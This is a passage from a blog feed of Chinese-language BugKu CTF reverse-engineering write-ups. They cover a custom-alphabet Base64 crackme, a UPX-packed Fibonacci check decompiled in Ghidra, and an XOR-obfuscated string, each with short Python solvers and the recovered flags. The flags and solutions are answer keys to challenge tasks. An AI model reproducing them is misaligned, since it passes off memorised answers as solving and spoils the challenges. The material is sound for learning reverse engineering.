data-srcset="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668757208447.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668757208447"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> __static_initialization_and_destruction_0(<span class="keyword">int</span> __initialize_p,<span class="keyword">int</span> __priority)</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> ((__initialize_p == <span class="number">1</span>) && (__priority == <span class="number">0xffff</span>)) {</span><br><span class="line"> _ZNSt8ios_base4InitC1Ev();</span><br><span class="line"> atexit(__tcf_0);</span><br><span class="line"> _ZNSaIcEC1Ev();</span><br><span class="line"> <span class="comment">// 可以看到这个basekey再此处应该经由这个函数绑定到了这个字符串 "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+" 下</span></span><br><span class="line"> _ZNSsC1EPKcRKSaIcE((ulonglong **)&baseKey,</span><br><span class="line"> <span class="string">"AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+"</span>);</span><br><span class="line"> _ZNSaIcED1Ev();</span><br><span class="line"> atexit(__tcf_1);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="编写脚本破解"><a href="#编写脚本破解" class="headerlink" title="编写脚本破解"></a>编写脚本破解</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">str1 = <span class="string">"mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI=="</span></span><br><span class="line"></span><br><span class="line">string1 = <span class="string">"AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+"</span></span><br><span class="line">string2 = <span class="string">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#利用密码表还原成正常base64编码后的字符串</span></span><br><span class="line">a=str1.translate(<span class="built_in">str</span>.maketrans(string1,string2))</span><br><span class="line"><span class="comment">#print(str1.translate(str.maketrans(string1,string2)))</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(base64.b64decode(a).decode())<span class="comment">#base64解码</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># str.maketrans方法,将两个一一对应的字符串中的字符做替换</span></span><br></pre></td></tr></table></figure><p>拿到flag:flag{Special_Base64_By_Lich}</p><h2 id="base64过程参考"><a href="#base64过程参考" class="headerlink" title="base64过程参考"></a>base64过程参考</h2><p>原文:<a href="https://blog.csdn.net/wo541075754/article/details/81734770">https://blog.csdn.net/wo541075754/article/details/81734770</a></p><p>转换表一般为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">0 A 17 R 34 i 51 z</span><br><span class="line"></span><br><span class="line">1 B 18 S 35 j 52 0</span><br><span class="line"></span><br><span class="line">2 C 19 T 36 k 53 1</span><br><span class="line"></span><br><span class="line">3 D 20 U 37 l 54 2</span><br><span class="line"></span><br><span class="line">4 E 21 V 38 m 55 3</span><br><span class="line"></span><br><span class="line">5 F 22 W 39 n 56 4</span><br><span class="line"></span><br><span class="line">6 G 23 X 40 o 57 5</span><br><span class="line"></span><br><span class="line">7 H 24 Y 41 p 58 6</span><br><span class="line"></span><br><span class="line">8 I 25 Z 42 q 59 7</span><br><span class="line"></span><br><span class="line">9 J 26 a 43 r 60 8</span><br><span class="line"></span><br><span class="line">10 K 27 b 44 s 61 9</span><br><span class="line"></span><br><span class="line">11 L 28 c 45 t 62 +</span><br><span class="line"></span><br><span class="line">12 M 29 d 46 u 63 /</span><br><span class="line"></span><br><span class="line">13 N 30 e 47 v</span><br><span class="line"></span><br><span class="line">14 O 31 f 48 w </span><br><span class="line"></span><br><span class="line">15 P 32 g 49 x</span><br><span class="line"></span><br><span class="line">16 Q 33 h 50 y</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9oZWxsby5ibG9nLmNzZG4ubmV0,size_16,color_FFFFFF,t_70.jpeg" class="lazyload placeholder" data-srcset="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9oZWxsby5ibG9nLmNzZG4ubmV0,size_16,color_FFFFFF,t_70.jpeg" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="在这里插入图片描述"></p><p>第一步:“M”、“a”、”n”对应的ASCII码值分别为77,97,110,对应的二进制值是01001101、01100001、01101110。如图第二三行所示,由此组成一个24位的二进制字符串。<br>第二步:如图红色框,将24位每6位二进制位一组分成四组。<br>第三步:在上面每一组前面补两个0,扩展成32个二进制位,此时变为四个字节:00010011、00010110、00000101、00101110。分别对应的值(Base64编码索引)为:19、22、5、46。<br>第四步:用上面的值在Base64编码表中进行查找,分别对应:T、W、F、u。因此“Man”Base64编码之后就变为:TWFu。<br>位数不足情况</p><p><img src="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/image-20221118155922052.png" class="lazyload placeholder" data-srcset="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/image-20221118155922052.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221118155922052"></p>]]></content>
<summary type="html"><h2 id="Exeinfo-PE查壳"><a href="#Exeinfo-PE查壳" class="headerlink" title="Exeinfo PE查壳"></a>Exeinfo PE查壳</h2><p>打开程序还是经典的输入flag</p>
<p><img sr</summary>
<category term="CTF" scheme="http://example.com/tags/CTF/"/>
<category term="逆向" scheme="http://example.com/tags/%E9%80%86%E5%90%91/"/>
<category term="Ghidra" scheme="http://example.com/tags/Ghidra/"/>
</entry>
<entry>
<title>BugKu-ez fibon</title>
<link href="http://example.com/2022/11/17/BugKu-ez-fibon/"/>
<id>http://example.com/2022/11/17/BugKu-ez-fibon/</id>
<published>2022-11-17T12:16:28.000Z</published>
<updated>2022-11-17T12:19:03.133Z</updated>
<content type="html"><![CDATA[<h2 id="初探"><a href="#初探" class="headerlink" title="初探"></a>初探</h2><p>点开这个exe,就是让我们输入一个flag:</p><p><img src="/2022/11/17/BugKu-ez-fibon/uTools_1668677448058.png" class="lazyload placeholder" data-srcset="/2022/11/17/BugKu-ez-fibon/uTools_1668677448058.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668677448058"></p><h2 id="查壳脱壳"><a href="#查壳脱壳" class="headerlink" title="查壳脱壳"></a>查壳脱壳</h2><p>先拖进ExeinfoPe查壳:</p><p><img src="/2022/11/17/BugKu-ez-fibon/uTools_1668676417560.png" class="lazyload placeholder" data-srcset="/2022/11/17/BugKu-ez-fibon/uTools_1668676417560.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668676417560"></p><p>看样子是UPX类型的加壳,然后推荐用upx.exe去壳,那我们就去用upx去壳:</p><p><img src="/2022/11/17/BugKu-ez-fibon/uTools_1668676648786.png" class="lazyload placeholder" data-srcset="/2022/11/17/BugKu-ez-fibon/uTools_1668676648786.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668676648786"></p><p>可以看到现在脱壳成功了。</p><p><img src="/2022/11/17/BugKu-ez-fibon/uTools_1668676930610.png" class="lazyload placeholder" data-srcset="/2022/11/17/BugKu-ez-fibon/uTools_1668676930610.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668676930610"></p><h2 id="使用Ghidra分析"><a href="#使用Ghidra分析" class="headerlink" title="使用Ghidra分析"></a>使用Ghidra分析</h2><p>window -> defined strings,找一找 flag 字符串出现在哪里:</p><p><img src="/2022/11/17/BugKu-ez-fibon/uTools_1668677720259.png" class="lazyload placeholder" data-srcset="/2022/11/17/BugKu-ez-fibon/uTools_1668677720259.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668677720259"></p><p>找到这个“please input your flag:”对应位置,双击右边的main函数地址,进入这个程序的main函数位置</p><p><img src="/2022/11/17/BugKu-ez-fibon/uTools_1668677847931.png" class="lazyload placeholder" data-srcset="/2022/11/17/BugKu-ez-fibon/uTools_1668677847931.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668677847931"></p><p>打开function graph窗口和decompile窗口,进行分析</p><p><img src="/2022/11/17/BugKu-ez-fibon/uTools_1668678025333.png" class="lazyload placeholder" data-srcset="/2022/11/17/BugKu-ez-fibon/uTools_1668678025333.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668678025333"></p><h2 id="分析程序恢复flag"><a href="#分析程序恢复flag" class="headerlink" title="分析程序恢复flag"></a>分析程序恢复flag</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> _Argc,<span class="keyword">char</span> **_Argv,<span class="keyword">char</span> **_Env)</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">size_t</span> sVar1;</span><br><span class="line"> <span class="keyword">int</span> local_288 [<span class="number">24</span>];</span><br><span class="line"> <span class="keyword">char</span> local_228 [<span class="number">112</span>];</span><br><span class="line"> <span class="keyword">int</span> aiStack_1b8 [<span class="number">103</span>];</span><br><span class="line"> uint local_1c;</span><br><span class="line"> <span class="keyword">int</span> local_18;</span><br><span class="line"> <span class="keyword">int</span> local_14;</span><br><span class="line"> <span class="keyword">int</span> local_10;</span><br><span class="line"> <span class="keyword">int</span> local_c;</span><br><span class="line"> </span><br><span class="line"> __main();</span><br><span class="line"> local_c = <span class="number">1</span>;</span><br><span class="line"> <span class="comment">// 打印字符串</span></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"please input your flag:"</span>);</span><br><span class="line"> <span class="comment">// 获取输入字符串到这个local_228地址中去</span></span><br><span class="line"> gets(local_228);</span><br><span class="line"> <span class="comment">// 输入的的每个字符都转成int存到aiStack_1b8中去</span></span><br><span class="line"> <span class="keyword">for</span> (local_10 = <span class="number">0</span>; local_10 < <span class="number">0x16</span>; local_10 = local_10 + <span class="number">1</span>) {</span><br><span class="line"> aiStack_1b8[local_10] = (<span class="keyword">int</span>)local_228[local_10];</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 获取local_228的长度</span></span><br><span class="line"> sVar1 = <span class="built_in">strlen</span>(local_228);</span><br><span class="line"> <span class="comment">// 如果长度等于0x16(即22),对这个字符串进行处理</span></span><br><span class="line"> <span class="keyword">if</span> (sVar1 == <span class="number">0x16</span>) {</span><br><span class="line"> local_14 = <span class="number">1</span>;</span><br><span class="line"> local_18 = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">for</span> (local_1c = <span class="number">0</span>; (<span class="keyword">int</span>)local_1c < <span class="number">0x16</span>; local_1c = local_1c + <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">if</span> ((local_1c & <span class="number">1</span>) == <span class="number">0</span>) {</span><br><span class="line"> <span class="comment">// 居然,居然是斐波那契数列??->[2,3,5,8....]</span></span><br><span class="line"> local_14 = local_14 + local_18;</span><br><span class="line"> <span class="comment">// 斐波那契数列的第i个数为fb[i],则:(input[i]+i+fb[i])%64+64 = flag[i]</span></span><br><span class="line"> aiStack_1b8[(<span class="keyword">int</span>)local_1c] =</span><br><span class="line"> (<span class="keyword">int</span>)(aiStack_1b8[(<span class="keyword">int</span>)local_1c] + local_1c + local_14) % <span class="number">0x40</span> + <span class="number">0x40</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> local_18 = local_18 + local_14;</span><br><span class="line"> aiStack_1b8[(<span class="keyword">int</span>)local_1c] =</span><br><span class="line"> (<span class="keyword">int</span>)(aiStack_1b8[(<span class="keyword">int</span>)local_1c] + local_1c + local_18) % <span class="number">0x40</span> + <span class="number">0x40</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// local_288翻译过来就是数组:[100,0x79,0x6e,0x76,0x46,0x55,0x7b,0x6d,99,0x74,0x51,0x6d,0x56,0x53,0x7e,0x77,0x65,0x6e,0x72]</span></span><br><span class="line"> local_288[<span class="number">0</span>] = <span class="number">100</span>;</span><br><span class="line"> local_288[<span class="number">1</span>] = <span class="number">0x79</span>;</span><br><span class="line"> local_288[<span class="number">2</span>] = <span class="number">0x6e</span>;</span><br><span class="line"> local_288[<span class="number">3</span>] = <span class="number">0x76</span>;</span><br><span class="line"> local_288[<span class="number">4</span>] = <span class="number">0x46</span>;</span><br><span class="line"> local_288[<span class="number">5</span>] = <span class="number">0x55</span>;</span><br><span class="line"> local_288[<span class="number">6</span>] = <span class="number">0x7b</span>;</span><br><span class="line"> local_288[<span class="number">7</span>] = <span class="number">0x6d</span>;</span><br><span class="line"> local_288[<span class="number">8</span>] = <span class="number">0x40</span>;</span><br><span class="line"> local_288[<span class="number">9</span>] = <span class="number">0x5e</span>;</span><br><span class="line"> local_288[<span class="number">10</span>] = <span class="number">0x6d</span>;</span><br><span class="line"> local_288[<span class="number">11</span>] = <span class="number">99</span>;</span><br><span class="line"> local_288[<span class="number">12</span>] = <span class="number">0x74</span>;</span><br><span class="line"> local_288[<span class="number">13</span>] = <span class="number">0x51</span>;</span><br><span class="line"> local_288[<span class="number">14</span>] = <span class="number">0x6d</span>;</span><br><span class="line"> local_288[<span class="number">15</span>] = <span class="number">0x56</span>;</span><br><span class="line"> local_288[<span class="number">16</span>] = <span class="number">0x53</span>;</span><br><span class="line"> local_288[<span class="number">17</span>] = <span class="number">0x7e</span>;</span><br><span class="line"> local_288[<span class="number">18</span>] = <span class="number">0x77</span>;</span><br><span class="line"> local_288[<span class="number">19</span>] = <span class="number">0x65</span>;</span><br><span class="line"> local_288[<span class="number">20</span>] = <span class="number">0x6e</span>;</span><br><span class="line"> local_288[<span class="number">21</span>] = <span class="number">0x72</span>;</span><br><span class="line"> <span class="comment">//比较aiStack_1b8和local_lc中的每个字符</span></span><br><span class="line"> <span class="keyword">for</span> (local_1c = <span class="number">0</span>; (<span class="keyword">int</span>)local_1c < <span class="number">0x16</span>; local_1c = local_1c + <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">if</span> (local_288[(<span class="keyword">int</span>)local_1c] != aiStack_1b8[(<span class="keyword">int</span>)local_1c]) {</span><br><span class="line"> local_c = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (local_c == <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"wrong!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (local_c == <span class="number">1</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"right flag!"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"wrong lenth!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们设斐波那契数列的第$i$个数为$fb[i]$,则:$(input[i]+i+fb[i])\ mod\ 64+64 = flag[i]$</p><p>照着这个思路:$flag[i]-fb[i]-i$一定是答案或者跟答案差了几个64,我们不妨mod64后再加64,将答案再次锁定到可见字符的范围内,即:$(flag[i]-fb[i]-i)\ mod\ 64+64$,就可以锁定到正确的字符位置。</p><p>简易脚本如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 生成斐波那契数列的前30项</span></span><br><span class="line">fib = [<span class="number">2</span>,<span class="number">3</span>]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">28</span>):</span><br><span class="line"> fib.append(fib[i]+fib[i+<span class="number">1</span>])</span><br><span class="line"><span class="comment"># 需要还原的flag数组</span></span><br><span class="line">flag = [<span class="number">100</span>,<span class="number">0x79</span>,<span class="number">0x6e</span>,<span class="number">0x76</span>,<span class="number">0x46</span>,<span class="number">0x55</span>,<span class="number">0x7b</span>,<span class="number">0x6d</span>,<span class="number">0x40</span>,<span class="number">0x5e</span>,<span class="number">0x6d</span>,<span class="number">99</span>,<span class="number">0x74</span>,<span class="number">0x51</span>,<span class="number">0x6d</span>,<span class="number">0x56</span>,<span class="number">0x53</span>,<span class="number">0x7e</span>,<span class="number">0x77</span>,<span class="number">0x65</span>,<span class="number">0x6e</span>,<span class="number">0x72</span>]</span><br><span class="line"><span class="built_in">print</span>(fib)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line"><span class="comment"># 逐个处理字符输出结果</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(flag)):</span><br><span class="line"> <span class="built_in">print</span>(<span class="built_in">chr</span>((flag[i]-i-fib[i])%<span class="number">64</span>+<span class="number">64</span>),end = <span class="string">""</span>)</span><br><span class="line"><span class="built_in">print</span>()</span><br></pre></td></tr></table></figure><p>运行后拿到结果:bugku{So_Ez_Fibon@cci}</p>]]></content>
<summary type="html"><h2 id="初探"><a href="#初探" class="headerlink" title="初探"></a>初探</h2><p>点开这个exe,就是让我们输入一个flag:</p>
<p><img src="/2022/11/17/BugKu-ez-fibon/uTo</summary>
<category term="CTF" scheme="http://example.com/tags/CTF/"/>
<category term="逆向" scheme="http://example.com/tags/%E9%80%86%E5%90%91/"/>
<category term="Ghidra" scheme="http://example.com/tags/Ghidra/"/>
</entry>
<entry>
<title>BugKu-NoString</title>
<link href="http://example.com/2022/11/16/BugKu-NoString/"/>
<id>http://example.com/2022/11/16/BugKu-NoString/</id>
<published>2022-11-16T11:20:54.000Z</published>
<updated>2022-11-16T11:22:16.580Z</updated>
<content type="html"><![CDATA[<h2 id="利用-Ghidra-进行分析"><a href="#利用-Ghidra-进行分析" class="headerlink" title="利用 Ghidra 进行分析"></a>利用 Ghidra 进行分析</h2><p>window -> defined strings,找一找有没有flag字符串,没找到,但是看到了一点奇怪的东西:</p><p><img src="/2022/11/16/BugKu-NoString/uTools_1668421881055.png" class="lazyload placeholder" data-srcset="/2022/11/16/BugKu-NoString/uTools_1668421881055.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668421881055"></p><p>单击,对应程序代码的Listing窗口可以看到:</p><p><img src="/2022/11/16/BugKu-NoString/uTools_1668421936687.png" class="lazyload placeholder" data-srcset="/2022/11/16/BugKu-NoString/uTools_1668421936687.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668421936687"></p><p>双击右边的函数标签,可以转到这个字符串出现的位置:</p><p><img src="/2022/11/16/BugKu-NoString/uTools_1668422123263.png" class="lazyload placeholder" data-srcset="/2022/11/16/BugKu-NoString/uTools_1668422123263.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668422123263"></p><p>点击 window -> function graph ,可以看到对应这个函数的完整流程图:</p><p><img src="/2022/11/16/BugKu-NoString/uTools_1668422384998.png" class="lazyload placeholder" data-srcset="/2022/11/16/BugKu-NoString/uTools_1668422384998.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668422384998"></p><p>打开 Decompile 窗口,可以看到&DAT_004161f0对应的字符串,在这里被用到,我们可以考虑</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">FUN_00401000</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> byte bVar1;</span><br><span class="line"> <span class="keyword">char</span> *pcVar2;</span><br><span class="line"> <span class="keyword">int</span> iVar3;</span><br><span class="line"> byte *pbVar4;</span><br><span class="line"> uint uVar5;</span><br><span class="line"> byte *pbVar6;</span><br><span class="line"> <span class="keyword">char</span> *pcVar7;</span><br><span class="line"> <span class="keyword">bool</span> bVar8;</span><br><span class="line"> byte local_1c;</span><br><span class="line"> undefined local_1b [<span class="number">16</span>];</span><br><span class="line"> undefined2 local_b;</span><br><span class="line"> uint local_8;</span><br><span class="line"> </span><br><span class="line"> local_8 = DAT_00415000 ^ (uint)&stack0xfffffffc;</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 取字符串"elhzl)`gy|})|)oehnl3"</span></span><br><span class="line"> pcVar2 = &DAT_004161f0;</span><br><span class="line"> <span class="comment">// 算字符串长度</span></span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> pcVar7 = pcVar2;</span><br><span class="line"> pcVar2 = pcVar7 + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">while</span> (*pcVar7 != <span class="string">'\0'</span>);</span><br><span class="line"> <span class="comment">// 每个字符都 xor 9</span></span><br><span class="line"> iVar3 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="number">0</span> < (<span class="keyword">int</span>)(pcVar7 + <span class="number">-0x4161f0</span>)) {</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> (&DAT_004161f0)[iVar3] = (&DAT_004161f0)[iVar3] ^ <span class="number">9</span>;</span><br><span class="line"> iVar3 = iVar3 + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">while</span> (iVar3 < (<span class="keyword">int</span>)(pcVar7 + <span class="number">-0x4161f0</span>));</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 打印字符串</span></span><br><span class="line"> FUN_00401174(&DAT_004161f0);</span><br><span class="line"> local_1c = <span class="number">0</span>;</span><br><span class="line"> local_b = <span class="number">0</span>;</span><br><span class="line"> local_1b = ZEXT816(<span class="number">0</span>);</span><br><span class="line"> <span class="comment">// 这个是空字符串的位置??,undefinedl</span></span><br><span class="line"> pcVar2 = &DAT_00416208;</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> pcVar7 = pcVar2;</span><br><span class="line"> pcVar2 = pcVar7 + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">while</span> (*pcVar7 != <span class="string">'\0'</span>);</span><br><span class="line"> iVar3 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="number">0</span> < (<span class="keyword">int</span>)(pcVar7 + <span class="number">-0x416208</span>)) 